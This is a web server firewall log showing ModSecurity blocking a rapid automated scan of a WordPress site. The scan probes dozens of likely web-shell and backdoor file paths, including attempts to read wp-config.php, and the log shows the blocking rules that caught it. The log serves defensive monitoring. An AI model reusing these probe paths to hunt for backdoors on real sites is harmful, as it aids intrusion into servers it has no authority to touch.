[Sun May 10 08:23:38.078431 2026] [:error] [pid 52634:tid 52661] [client 85.203.23.183:51387] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/editor/"] [unique_id "af_QCtwp8XoWCwFb54CTEgAAANc"]
[Sun May 10 08:23:38.260187 2026] [:error] [pid 52634:tid 52644] [client 85.203.23.216:61317] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/profile/admin.php"] [unique_id "af_QCtwp8XoWCwFb54CTFAAAAMY"]
[Sun May 10 08:23:38.451634 2026] [:error] [pid 52634:tid 52641] [client 85.203.23.209:22757] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/summia/"] [unique_id "af_QCtwp8XoWCwFb54CTFQAAAMM"]
[Sun May 10 08:23:38.654673 2026] [:error] [pid 52634:tid 52642] [client 85.203.23.192:51977] [client 85.203.23.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-content/languages/config.php"] [unique_id "af_QCtwp8XoWCwFb54CTGAAAAMQ"]
[Sun May 10 08:23:38.862487 2026] [:error] [pid 52634:tid 52659] [client 85.203.23.219:35609] [client 85.203.23.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-content/admin.php"] [unique_id "af_QCtwp8XoWCwFb54CTGgAAANU"]
[Sun May 10 08:23:39.055913 2026] [:error] [pid 52634:tid 52646] [client 85.203.23.210:48707] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/autoload_classmap.php"] [unique_id "af_QC9wp8XoWCwFb54CTGwAAAMg"]
[Sun May 10 08:23:39.265636 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.195:42585] [client 85.203.23.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/h2.php"] [unique_id "af_QC9wp8XoWCwFb54CTHAAAAMc"]
[Sun May 10 08:23:39.458232 2026] [:error] [pid 46417:tid 46425] [client 85.203.23.173:36857] [client 85.203.23.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/mu-plugins/chosen.php"] [unique_id "af_QC2Inm7mhwgbe48ZoIAAAAQY"]
[Sun May 10 08:23:39.656497 2026] [:error] [pid 52634:tid 52650] [client 85.203.23.168:44811] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade-temp-backup/autoload_classmap.php"] [unique_id "af_QC9wp8XoWCwFb54CTHwAAAMw"]
[Sun May 10 08:23:39.861217 2026] [:error] [pid 52634:tid 52647] [client 85.203.23.188:51597] [client 85.203.23.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/Base.php"] [unique_id "af_QC9wp8XoWCwFb54CTIAAAAMk"]
[Sun May 10 08:23:40.069246 2026] [:error] [pid 52634:tid 52657] [client 85.203.23.222:55629] [client 85.203.23.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins.bk/contact-form-7/includes/js/jquery-ui/themes/admin.php"] [unique_id "af_QDNwp8XoWCwFb54CTIwAAANM"]
[Sun May 10 08:23:40.566047 2026] [:error] [pid 46417:tid 46431] [client 85.203.23.217:63147] [client 85.203.23.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins.bk/js_composer/include/classes/vendors/plugins/system.php"] [unique_id "af_QDGInm7mhwgbe48ZoIQAAAQw"]
[Sun May 10 08:23:40.766578 2026] [:error] [pid 46417:tid 46419] [client 85.203.23.204:33315] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins.bk/wordpress-seo/admin/import/plugins/maintenance.php"] [unique_id "af_QDGInm7mhwgbe48ZoIgAAAQA"]
[Sun May 10 08:23:40.957538 2026] [:error] [pid 46330:tid 46410] [client 85.203.23.192:32379] [client 85.203.23.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/wp-mail.php"] [unique_id "af_QDIztrhd3evDQvs820gAAAFY"]
[Sun May 10 08:23:41.157920 2026] [:error] [pid 46331:tid 46395] [client 85.203.23.201:28755] [client 85.203.23.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/wp-conflg.php"] [unique_id "af_QDQP02hpYETwsZpgTBQAAAJI"]
[Sun May 10 08:23:41.351981 2026] [:error] [pid 46417:tid 46432] [client 85.203.23.218:52089] [client 85.203.23.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-config.php"] [unique_id "af_QDWInm7mhwgbe48ZoJAAAAQ0"]
[Sun May 10 08:23:41.554108 2026] [:error] [pid 46417:tid 46435] [client 85.203.23.221:40461] [client 85.203.23.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/lock.php"] [unique_id "af_QDWInm7mhwgbe48ZoJgAAARA"]
[Sun May 10 08:23:41.760104 2026] [:error] [pid 46417:tid 46430] [client 85.203.23.189:24655] [client 85.203.23.189] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/com.php"] [unique_id "af_QDWInm7mhwgbe48ZoJwAAAQs"]
[Sun May 10 08:23:41.955597 2026] [:error] [pid 52634:tid 52660] [client 85.203.23.178:49899] [client 85.203.23.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "af_QDdwp8XoWCwFb54CTJgAAANY"]
[Sun May 10 08:23:42.165696 2026] [:error] [pid 52634:tid 52655] [client 85.203.23.223:26351] [client 85.203.23.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/network/uploads/system.php"] [unique_id "af_QDtwp8XoWCwFb54CTKQAAANE"]
[Sun May 10 08:23:42.372407 2026] [:error] [pid 46329:tid 46346] [client 85.203.23.183:29651] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/plugins/colors/"] [unique_id "af_QDuFo7Z2I88d0gPJQFAAAAA0"]
[Sun May 10 08:23:42.555326 2026] [:error] [pid 46329:tid 46355] [client 85.203.23.186:39205] [client 85.203.23.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/backups-dup-pro/imports/network/"] [unique_id "af_QDuFo7Z2I88d0gPJQFQAAABY"]
[Sun May 10 08:23:42.753123 2026] [:error] [pid 46329:tid 46340] [client 85.203.23.177:35713] [client 85.203.23.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/ai1wm-backups/includes/"] [unique_id "af_QDuFo7Z2I88d0gPJQFgAAAAc"]
[Sun May 10 08:23:42.957416 2026] [:error] [pid 52634:tid 52656] [client 85.203.23.209:57733] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "af_QDtwp8XoWCwFb54CTKgAAANI"]
[Sun May 10 08:23:43.153426 2026] [:error] [pid 52634:tid 52650] [client 85.203.23.199:47495] [client 85.203.23.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "af_QD9wp8XoWCwFb54CTKwAAAMw"]
[Sun May 10 08:23:43.363593 2026] [:error] [pid 46331:tid 46375] [client 85.203.23.225:60821] [client 85.203.23.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/panel.php"] [unique_id "af_QDwP02hpYETwsZpgTBgAAAIg"]
[Sun May 10 08:23:43.569958 2026] [:error] [pid 46417:tid 46437] [client 85.203.23.173:57549] [client 85.203.23.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-themes.php"] [unique_id "af_QD2Inm7mhwgbe48ZoKQAAARI"]
[Sun May 10 08:23:43.765961 2026] [:error] [pid 46417:tid 46428] [client 85.203.23.186:45273] [client 85.203.23.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/maint/"] [unique_id "af_QD2Inm7mhwgbe48ZoKgAAAQk"]
[Sun May 10 08:23:43.983448 2026] [:error] [pid 46417:tid 46425] [client 85.203.23.192:28873] [client 85.203.23.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Exception/Transport/"] [unique_id "af_QD2Inm7mhwgbe48ZoKwAAAQY"]
[Sun May 10 08:23:44.173771 2026] [:error] [pid 46330:tid 46379] [client 85.203.23.184:48943] [client 85.203.23.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Response/"] [unique_id "af_QEIztrhd3evDQvs820wAAAEc"]
[Sun May 10 08:23:44.362336 2026] [:error] [pid 46329:tid 46356] [client 85.203.23.197:59575] [client 85.203.23.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/wp-sing.php"] [unique_id "af_QEOFo7Z2I88d0gPJQGAAAABc"]
[Sun May 10 08:23:44.556039 2026] [:error] [pid 46417:tid 46431] [client 85.203.23.214:43251] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/button/"] [unique_id "af_QEGInm7mhwgbe48ZoLQAAAQw"]
[Sun May 10 08:23:44.770330 2026] [:error] [pid 46330:tid 46389] [client 85.203.23.183:28731] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/media-text/"] [unique_id "af_QEIztrhd3evDQvs821wAAAEw"]
[Sun May 10 08:23:44.957372 2026] [:error] [pid 46417:tid 46419] [client 85.203.23.203:56807] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/missing/"] [unique_id "af_QEGInm7mhwgbe48ZoLgAAAQA"]
[Sun May 10 08:23:45.154300 2026] [:error] [pid 46417:tid 46442] [client 85.203.23.202:58897] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "af_QEWInm7mhwgbe48ZoMAAAARc"]
[Sun May 10 08:23:45.354480 2026] [:error] [pid 46417:tid 46438] [client 85.203.23.208:61085] [client 85.203.23.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/img/content/media/lnl/"] [unique_id "af_QEWInm7mhwgbe48ZoMQAAARM"]
[Sun May 10 08:23:45.562023 2026] [:error] [pid 46417:tid 46434] [client 85.203.23.206:20973] [client 85.203.23.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/gallery/"] [unique_id "af_QEWInm7mhwgbe48ZoMgAAAQ8"]
[Sun May 10 08:23:45.757021 2026] [:error] [pid 46417:tid 46439] [client 85.203.23.171:22083] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/includes/content/v2/uploads/docs/yat/admin.php"] [unique_id "af_QEWInm7mhwgbe48ZoMwAAARQ"]
[Sun May 10 08:23:45.963739 2026] [:error] [pid 46417:tid 46424] [client 85.203.23.189:50911] [client 85.203.23.189] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/cache/adminkontol.php"] [unique_id "af_QEWInm7mhwgbe48ZoNAAAAQU"]
[Sun May 10 08:23:51.158670 2026] [:error] [pid 52634:tid 52652] [client 85.203.23.172:49343] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/database/"] [unique_id "af_QF9wp8XoWCwFb54CTLgAAAM4"]
[Sun May 10 08:23:51.377939 2026] [:error] [pid 46330:tid 46373] [client 85.203.23.203:64587] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/uploads/system.php"] [unique_id "af_QF4ztrhd3evDQvs823gAAAEM"]
[Sun May 10 08:23:51.570056 2026] [:error] [pid 46330:tid 46381] [client 85.203.23.215:47111] [client 85.203.23.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/block/img/themes/"] [unique_id "af_QF4ztrhd3evDQvs823wAAAEg"]
[Sun May 10 08:23:51.770961 2026] [:error] [pid 46417:tid 46425] [client 85.203.23.219:35481] [client 85.203.23.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/preformatted/"] [unique_id "af_QF2Inm7mhwgbe48ZoNwAAAQY"]
[Sun May 10 08:23:51.994462 2026] [:error] [pid 46331:tid 46407] [client 85.203.23.223:64863] [client 85.203.23.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/themes/wp-load.php"] [unique_id "af_QFwP02hpYETwsZpgTBwAAAJg"]
[Sun May 10 08:23:52.182541 2026] [:error] [pid 46417:tid 46431] [client 85.203.23.181:61187] [client 85.203.23.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/home.php"] [unique_id "af_QGGInm7mhwgbe48ZoOAAAAQw"]
[Sun May 10 08:23:52.400590 2026] [:error] [pid 46331:tid 46390] [client 85.203.23.202:20515] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/themes/"] [unique_id "af_QGAP02hpYETwsZpgTCAAAAI8"]
[Sun May 10 08:23:52.585081 2026] [:error] [pid 46331:tid 46399] [client 85.203.23.221:50925] [client 85.203.23.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/system_core.php"] [unique_id "af_QGAP02hpYETwsZpgTCQAAAJQ"]
[Sun May 10 08:23:52.783343 2026] [:error] [pid 46330:tid 46396] [client 85.203.23.171:33001] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/maintenance.php"] [unique_id "af_QGIztrhd3evDQvs824AAAAE8"]
[Sun May 10 08:23:52.967884 2026] [:error] [pid 46417:tid 46436] [client 85.203.23.218:23363] [client 85.203.23.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "af_QGGInm7mhwgbe48ZoOQAAARE"]
[Sun May 10 08:23:53.170536 2026] [:error] [pid 46331:tid 46392] [client 85.203.23.187:43779] [client 85.203.23.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/w.php"] [unique_id "af_QGQP02hpYETwsZpgTCgAAAJA"]
[Sun May 10 08:23:53.359421 2026] [:error] [pid 46417:tid 46432] [client 85.203.23.192:35849] [client 85.203.23.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-http-client.php"] [unique_id "af_QGWInm7mhwgbe48ZoOwAAAQ0"]
[Sun May 10 08:23:53.569851 2026] [:error] [pid 46331:tid 46383] [client 85.203.23.209:32537] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-http-client.php"] [unique_id "af_QGQP02hpYETwsZpgTCwAAAIs"]
[Sun May 10 08:23:53.783462 2026] [:error] [pid 46417:tid 46435] [client 85.203.23.172:42825] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/tag-cloud/"] [unique_id "af_QGWInm7mhwgbe48ZoPAAAARA"]
